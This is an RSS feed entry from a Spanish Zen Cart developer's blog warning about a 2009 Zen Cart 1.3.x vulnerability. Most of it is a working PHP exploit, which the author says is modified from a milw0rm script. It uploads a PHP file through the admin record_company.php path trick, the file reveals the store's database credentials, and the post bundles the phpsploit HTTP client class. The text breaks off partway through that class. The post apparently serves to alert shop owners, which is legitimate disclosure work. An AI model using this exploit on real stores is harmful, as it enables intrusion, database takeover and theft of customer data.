<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Experto Zen Cart - Programador Freelance Tiendas Virtuales Zen Cart &#187; Seguridad Zen Cart</title>
	<atom:link href="http://www.zen-cart.es/tiendas-virtuales/seguridad/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zen-cart.es</link>
	<description>Tiendas virtuales y mucho más</description>
	<lastBuildDate>Tue, 12 Jan 2010 23:13:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Zen Cart 1.3.x &#8211; Grave vulnerabilidad</title>
		<link>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/</link>
		<comments>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 21:37:52 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Seguridad Zen Cart]]></category>
		<category><![CDATA[ZenCart 1.3.x]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=16</guid>
		<description><![CDATA[	En milw0rm.com se publican dos scripts (inyecci&#243;n de c&#243;digo, inyecci&#243;n de SQL) para explotar una grave vulnerabilidad que afecta a toda la rama 1.3.x de Zen Cart y que permite inyectar c&#243;digo de forma remota en el directorio de im&#225;genes. Una vez nos inyectan el c&#243;digo en nuestra web, pueden incluso obtener los datos de [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" height="61" width="51" title="Zen Cart 1.3.x   Grave vulnerabilidad" alt=" Zen Cart 1.3.x   Grave vulnerabilidad" /></a></div>	<p><span style="float: left; margin-right: 1em;"><img alt="Fallo de seguridad" class="alignnone size-full wp-image-17" height="214" src="http://www.zen-cart.es/wp-content/uploads/2009/08/openLock.jpg" title="Fallo de seguridad" width="250" /></span>En <a href="http://www.milw0rm.com">milw0rm.com</a> se publican dos scripts (<a href="http://www.milw0rm.com/exploits/9004">inyecci&oacute;n de c&oacute;digo</a>, <a href="http://www.milw0rm.com/exploits/9005">inyecci&oacute;n de SQL</a>) para explotar una grave vulnerabilidad que afecta a toda la rama 1.3.x de <strong>Zen Cart </strong>y que permite inyectar c&oacute;digo de forma remota en el directorio de im&aacute;genes. Una vez nos inyectan el c&oacute;digo en nuestra web, pueden incluso obtener los datos de acceso a la base de datos y borrarla o consultar los datos de nuestros clientes.</p>
	<p>En vez de utilizar el exploit original, mostrar&eacute; una modificaci&oacute;n para mostrar los desastrosos efectos que puede tener esta vulnerabilidad de Zen Cart.</p>
	<p>En el siguiente ejemplo muestro como nos podr&iacute;an inyectar c&oacute;digo de forma remota permiti&eacute;ndoles obtener los datos de acceso a la base de datos. Antes de ejecutarlo, es necesario indicar correctamente la URL&nbsp;modificando la variable <strong>$url</strong> y si la tienda es vulnerable les aparecer&aacute; un enlace hacia el documento PHP&nbsp;que muestra los datos de acceso a la base de datos.<span id="more-16"></span></p>
	
<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">                          <span style="color: #339933;">|</span>  
  <span style="color: #339933;">========================================================================</span>
  <span style="color: #339933;">|</span>                                                                      <span style="color: #339933;">|</span>
  <span style="color: #339933;">|</span> \<span style="color: #000088;">$system</span><span style="color: #339933;">&gt;</span> php <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;</span>url<span style="color: #339933;">&gt;</span>                                         <span style="color: #339933;">|</span>
  <span style="color: #339933;">|</span> Notes<span style="color: #339933;">:</span> <span style="color: #339933;">&lt;</span>url<span style="color: #339933;">&gt;</span>      ex<span style="color: #339933;">:</span> http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//victim.com/site (no slash)              |</span>
  <span style="color: #339933;">|</span>                                                                      <span style="color: #339933;">|</span>
  <span style="color: #339933;">========================================================================</span>
  <span style="color: #0000ff;">&quot;;exit(1);
}*/
&nbsp;
<span style="color: #006699; font-weight: bold;">$url</span> = &amp;#39;http://www.web_con_bug.com&amp;#39;;
<span style="color: #006699; font-weight: bold;">$trick</span> = &quot;</span><span style="color: #339933;">/</span>password_forgotten<span style="color: #339933;">.</span>php<span style="color: #0000ff;">&quot;;
&nbsp;
<span style="color: #006699; font-weight: bold;">$xpl</span> = new phpsploit();
<span style="color: #006699; font-weight: bold;">$xpl-&gt;agent</span>(&quot;</span>Mozilla Firefox<span style="color: #0000ff;">&quot;);
&nbsp;
<span style="color: #006699; font-weight: bold;">$real_kthxbye</span> = remote_exec(<span style="color: #006699; font-weight: bold;">$url</span>);
&nbsp;
// Remote Code Execution Exploit
function remote_exec(<span style="color: #006699; font-weight: bold;">$url</span>) 
{
  global <span style="color: #006699; font-weight: bold;">$xpl</span>, <span style="color: #006699; font-weight: bold;">$url</span>, <span style="color: #006699; font-weight: bold;">$trick</span>;
&nbsp;
  echo &quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">-</span><span style="color: #009900;">&#93;</span> Ejecuci<span style="color: #339933;">&amp;</span>oacute<span style="color: #339933;">;</span> remota de c<span style="color: #339933;">&amp;</span>oacute<span style="color: #339933;">;</span>digo<span style="color: #0000ff;">&quot;;
&nbsp;
  if(!<span style="color: #006699; font-weight: bold;">$xpl-&gt;get</span>(<span style="color: #006699; font-weight: bold;">$url</span>.&amp;#39;/admin/&amp;#39;))
  { 
    die(&quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#93;</span> error <span style="color: #339933;">-</span> El directorio <span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span> es un directorio protegido o no existe<span style="color: #339933;">.</span>\n<span style="color: #0000ff;">&quot;);
  }
&nbsp;
  <span style="color: #006699; font-weight: bold;">$n</span> = substr(md5(rand(0, 1337)), 0, 5).&quot;</span><span style="color: #339933;">.</span>php<span style="color: #0000ff;">&quot;; // random php file
  <span style="color: #006699; font-weight: bold;">$code</span> = &amp;#39;DB_SERVER: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER<span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_SERVER_USERNAME: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER_USERNAME<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_SERVER_PASSWORD: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER_PASSWORD<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_DATABASE: &quot;</span> <span style="color: #339933;">.</span> DB_DATABASE<span style="color: #339933;">;</span><span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;;
</span>	
  <span style="color: #000088;">$form</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>frmdt_url <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/admin/record_company.php&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$trick</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;?action=insert&quot;</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">&quot;record_company_name&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;0&quot;</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">&quot;record_company_image&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>frmdt_type <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;tgreal/suce&quot;</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// it works ! o_O</span>
                                                             frmdt_filename <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$n</span><span style="color: #339933;">,</span>
                                                             frmdt_content <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">formdata</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$form</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[!] C&amp;oacute;digo inyectado en &lt;a href=&quot;</span>\<span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$url}</span>/images/<span style="color: #006699; font-weight: bold;">{$n}</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">/</span>images<span style="color: #339933;">/</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$n</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span><span style="color: #0000ff;">&quot;;
  }
  else
  {
    die(&quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#93;</span> error <span style="color: #339933;">-</span> No ha sido posible subir el script\n<span style="color: #0000ff;">&quot;);
  }
}
&nbsp;
/**
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */
&nbsp;
class phpsploit
{
  var <span style="color: #006699; font-weight: bold;">$proxyhost</span>;
  var <span style="color: #006699; font-weight: bold;">$proxyport</span>;
  var <span style="color: #006699; font-weight: bold;">$host</span>;
  var <span style="color: #006699; font-weight: bold;">$path</span>;
  var <span style="color: #006699; font-weight: bold;">$port</span>;
  var <span style="color: #006699; font-weight: bold;">$method</span>;
  var <span style="color: #006699; font-weight: bold;">$url</span>;
  var <span style="color: #006699; font-weight: bold;">$packet</span>;
  var <span style="color: #006699; font-weight: bold;">$proxyuser</span>;
  var <span style="color: #006699; font-weight: bold;">$proxypass</span>;
  var <span style="color: #006699; font-weight: bold;">$header</span>;
  var <span style="color: #006699; font-weight: bold;">$cookie</span>;
  var <span style="color: #006699; font-weight: bold;">$data</span>;
  var <span style="color: #006699; font-weight: bold;">$boundary</span>;
  var <span style="color: #006699; font-weight: bold;">$allowredirection</span>;
  var <span style="color: #006699; font-weight: bold;">$last_redirection</span>;
  var <span style="color: #006699; font-weight: bold;">$cookiejar</span>;
  var <span style="color: #006699; font-weight: bold;">$recv</span>;
  var <span style="color: #006699; font-weight: bold;">$cookie_str</span>;
  var <span style="color: #006699; font-weight: bold;">$header_str</span>;
  var <span style="color: #006699; font-weight: bold;">$server_content</span>;
  var <span style="color: #006699; font-weight: bold;">$server_header</span>;
&nbsp;
&nbsp;
  /**
   * This function is called by the
   * get()/post()/formdata() functions.
   * You don&amp;#39;t have to call it, this is
   * the main function.
   *
   * @access private
   * @return string <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> ServerResponse
   * 
   */
  function sock()
  {
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span>) &amp;&amp; !empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span>))
      <span style="color: #006699; font-weight: bold;">$socket</span> = @fsockopen(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span>);
    else
      <span style="color: #006699; font-weight: bold;">$socket</span> = @fsockopen(<span style="color: #006699; font-weight: bold;">$this-&gt;host</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;port</span>);
&nbsp;
    if(!<span style="color: #006699; font-weight: bold;">$socket</span>)
      die(&quot;</span>Error<span style="color: #339933;">:</span> Host seems down<span style="color: #0000ff;">&quot;);
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;get&amp;#39;)
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> = &amp;#39;GET &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;url</span>.&quot;</span> HTTP<span style="color: #339933;">/</span><span style="color:#800080;">1.1</span>\r\n<span style="color: #0000ff;">&quot;;
    elseif(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;post&amp;#39; or <span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;formdata&amp;#39;)
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> = &amp;#39;POST &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;url</span>.&quot;</span> HTTP<span style="color: #339933;">/</span><span style="color:#800080;">1.1</span>\r\n<span style="color: #0000ff;">&quot;;
    else
      die(&quot;</span>Error<span style="color: #339933;">:</span> Invalid method<span style="color: #0000ff;">&quot;);
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Proxy-Authorization: Basic &amp;#39;.base64_encode(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span>.&amp;#39;:&amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span>).&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;showheader</span>();
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Cookie: &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;showcookie</span>().&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Host: &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;host</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>Connection<span style="color: #339933;">:</span> Close\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;post&amp;#39;)
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>Content<span style="color: #339933;">-</span>Type<span style="color: #339933;">:</span> application<span style="color: #339933;">/</span>x<span style="color: #339933;">-</span>www<span style="color: #339933;">-</span>form<span style="color: #339933;">-</span>urlencoded\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Length: &amp;#39;.strlen(<span style="color: #006699; font-weight: bold;">$this-&gt;data</span>).&quot;</span>\r\n\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;data</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    }
    elseif(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;formdata&amp;#39;)
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Type: multipart/form-data; boundary=&amp;#39;.str_repeat(&amp;#39;-&amp;#39;,27).<span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Length: &amp;#39;.strlen(<span style="color: #006699; font-weight: bold;">$this-&gt;data</span>).&quot;</span>\r\n\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;data</span>;
    }
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> = &amp;#39;&amp;#39;;
&nbsp;
    fputs(<span style="color: #006699; font-weight: bold;">$socket</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>);
&nbsp;
    while(!feof(<span style="color: #006699; font-weight: bold;">$socket</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> .= fgets(<span style="color: #006699; font-weight: bold;">$socket</span>);
&nbsp;
    fclose(<span style="color: #006699; font-weight: bold;">$socket</span>);
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;cookiejar</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;getcookie</span>();
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;allowredirection</span>)
      return <span style="color: #006699; font-weight: bold;">$this-&gt;getredirection</span>();
    else
      return <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span>;
  }
&nbsp;
&nbsp;
  /**
   * This function allows you to add several
   * cookies in the request.
   * 
   * @access  public
   * @param   string cookn CookieName
   * @param   string cookv CookieValue
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;addcookie</span>(&amp;#39;name&amp;#39;,&amp;#39;value&amp;#39;)
   * 
   */
  function addcookie(<span style="color: #006699; font-weight: bold;">$cookn</span>,<span style="color: #006699; font-weight: bold;">$cookv</span>)
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span> = array();
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>[<span style="color: #006699; font-weight: bold;">$cookn</span>] = <span style="color: #006699; font-weight: bold;">$cookv</span>;
  }
&nbsp;
&nbsp;
  /**
   * This function allows you to add several
   * headers in the request.
   *
   * @access  public
   * @param   string headern HeaderName
   * @param   string headervalue Headervalue
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;addheader</span>(&amp;#39;Client-IP&amp;#39;, &amp;#39;128.5.2.3&amp;#39;)
   * 
   */
  function addheader(<span style="color: #006699; font-weight: bold;">$headern</span>,<span style="color: #006699; font-weight: bold;">$headervalue</span>)
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;header</span> = array();
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;header</span>[<span style="color: #006699; font-weight: bold;">$headern</span>] = <span style="color: #006699; font-weight: bold;">$headervalue</span>;
  }
&nbsp;
  /**
   * This function allows you to use an
   * http proxy server. Several methods
   * are supported.
   * 
   * @access  public
   * @param   string proxy ProxyHost
   * @param   integer proxyp ProxyPort
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxy</span>(&amp;#39;localhost&amp;#39;,8118)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxy</span>(&amp;#39;localhost:8118&amp;#39;)
   * 
   */
  function proxy(<span style="color: #006699; font-weight: bold;">$proxy</span>,<span style="color: #006699; font-weight: bold;">$proxyp</span>=&amp;#39;&amp;#39;)
  {
    if(empty(<span style="color: #006699; font-weight: bold;">$proxyp</span>))
    {
      <span style="color: #006699; font-weight: bold;">$proxarr</span> = explode(&amp;#39;:&amp;#39;,<span style="color: #006699; font-weight: bold;">$proxy</span>);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span> = <span style="color: #006699; font-weight: bold;">$proxarr[0]</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> = (int)<span style="color: #006699; font-weight: bold;">$proxarr[1]</span>;
    }
    else 
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span> = <span style="color: #006699; font-weight: bold;">$proxy</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> = (int)<span style="color: #006699; font-weight: bold;">$proxyp</span>;
    }
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> &gt; 65535)
      die(&quot;</span>Error<span style="color: #339933;">:</span> Invalid port number<span style="color: #0000ff;">&quot;);
  }
&nbsp;
  /**
   * This function allows you to use an
   * http proxy server which requires a
   * basic authentification. Several
   * methods are supported:
   *
   * @access  public
   * @param   string proxyauth ProxyUser
   * @param   string proxypass ProxyPass
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxyauth</span>(&amp;#39;user&amp;#39;,&amp;#39;pwd&amp;#39;)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxyauth</span>(&amp;#39;user:pwd&amp;#39;);
   * 
   */
  function proxyauth(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,<span style="color: #006699; font-weight: bold;">$proxypass</span>=&amp;#39;&amp;#39;)
  {
    if(empty(<span style="color: #006699; font-weight: bold;">$proxypass</span>))
    {
      <span style="color: #006699; font-weight: bold;">$posvirg</span> = strpos(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,&amp;#39;:&amp;#39;);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span> = substr(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,0,<span style="color: #006699; font-weight: bold;">$posvirg</span>);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span> = substr(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,<span style="color: #006699; font-weight: bold;">$posvirg</span>+1);
    }
    else
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span> = <span style="color: #006699; font-weight: bold;">$proxyauth</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span> = <span style="color: #006699; font-weight: bold;">$proxypass</span>;
    }
  }
&nbsp;
  /**
   * This function allows you to set
   * the &amp;#39;User-Agent&amp;#39; header.
   * 
   * @access  public
   * @param   string useragent Agent
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;agent</span>(&amp;#39;Firefox&amp;#39;)
   * 
   */
  function agent(<span style="color: #006699; font-weight: bold;">$useragent</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;addheader</span>(&amp;#39;User-Agent&amp;#39;,<span style="color: #006699; font-weight: bold;">$useragent</span>);
  }
&nbsp;
  /**
   * This function returns the headers
   * which will be in the next request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> Headers
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showheader</span>()
   * 
   */
  function showheader()
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      return;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span> as <span style="color: #006699; font-weight: bold;">$name</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> .= <span style="color: #006699; font-weight: bold;">$name</span>.&amp;#39;: &amp;#39;.<span style="color: #006699; font-weight: bold;">$value</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span>;
  }
&nbsp;
  /**
   * This function returns the cookies
   * which will be in the next request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> Cookies
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showcookie</span>()
   * 
   */
  function showcookie()
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      return;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span> as <span style="color: #006699; font-weight: bold;">$name</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> .= <span style="color: #006699; font-weight: bold;">$name</span>.&amp;#39;=&amp;#39;.<span style="color: #006699; font-weight: bold;">$value</span>.&amp;#39;; &amp;#39;;
&nbsp;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span>;
  }
&nbsp;
  /**
   * This function returns the last
   * formed http request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> HttpPacket
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showlastrequest</span>()
   * 
   */
  function showlastrequest()
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>))
      return;
    else
      return <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>;
  }
&nbsp;
  /**
   * This function sends the formed
   * http packet with the GET method.
   * 
   * @access  public
   * @param   string url Url
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;get</span>(&amp;#39;localhost/index.php?var=x&amp;#39;)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;get</span>(&amp;#39;http://localhost:88/tst.php&amp;#39;)
   * 
   */
  function get(<span style="color: #006699; font-weight: bold;">$url</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$url</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;get&amp;#39;;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>();
  }
&nbsp;
  /**
   * This function sends the formed
   * http packet with the POST method.
   *
   * @access  public
   * @param   string url  Url
   * @param   string data PostData
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;post</span>(&amp;#39;http://localhost/&amp;#39;,&amp;#39;helo=x&amp;#39;)
   * 
   */	
  function post(<span style="color: #006699; font-weight: bold;">$url</span>,<span style="color: #006699; font-weight: bold;">$data</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$url</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;post&amp;#39;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> = <span style="color: #006699; font-weight: bold;">$data</span>;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>();
  }
&nbsp;
  /**
   * This function sends the formed http
   * packet with the POST method using
   * the multipart/form-data enctype.
   * 
   * @access  public
   * @param   array array FormDataArray
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$formdata</span> = array(
   *                      frmdt_url =&gt; &amp;#39;http://localhost/upload.php&amp;#39;,
